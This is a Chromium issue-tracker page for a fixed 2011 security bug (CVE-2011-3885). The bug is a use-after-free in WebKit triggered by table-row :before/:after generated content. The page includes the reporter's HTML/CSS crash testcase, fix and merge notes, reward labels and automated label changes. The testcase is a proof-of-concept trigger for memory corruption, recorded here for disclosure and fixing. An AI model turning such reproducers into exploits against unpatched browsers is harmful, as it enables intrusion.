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Issue 99880 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Oct 2011
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

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Use after free in table :before, :after content.

Project Member Reported by infe...@chromium.org, Oct 11 2011

Issue description

credit:miaubiz

Testcase::
<html>
  <head>
    <style>
      @font-face { font-family: A; src: url(); }

      .tr {
        font-family: A;
        display: table-row;
      }

      .td {
        display: table-cell;
      }

      div.tr:before {
        content:"A";
      }
      div.tr:after {
        content:"B";
      }
    </style>
  </head>
  <body>
    <div class="tbody">
      <div class="tr">
        <div class="td"></div>
      </div>
    </div>
  </body>
</html>
<style>
</style>
 
Owner: infe...@chromium.org
Status: Started
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Merged merge-merged-874
Status: FixUnreleased
Fixed in http://trac.webkit.org/changeset/97180, and changelog fixed in r97181(bad update-webkit)

merged to m15 in r97183.
Labels: SecImpacts-Stable SecImpacts-Beta
Labels: reward-topanel
Labels: -reward-topanel reward-1000 reward-unpaid
----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3885
Labels: -reward-unpaid
Payment in system, can take up to a couple of weeks.

Comment 9 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 10 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 11 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecSeverity-High -Mstone-15 -SecImpacts-Stable -SecImpacts-Beta Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High M-15 Type-Bug-Security
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Comment 12 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 13 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 15 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 18 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 19 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 20 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 21 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

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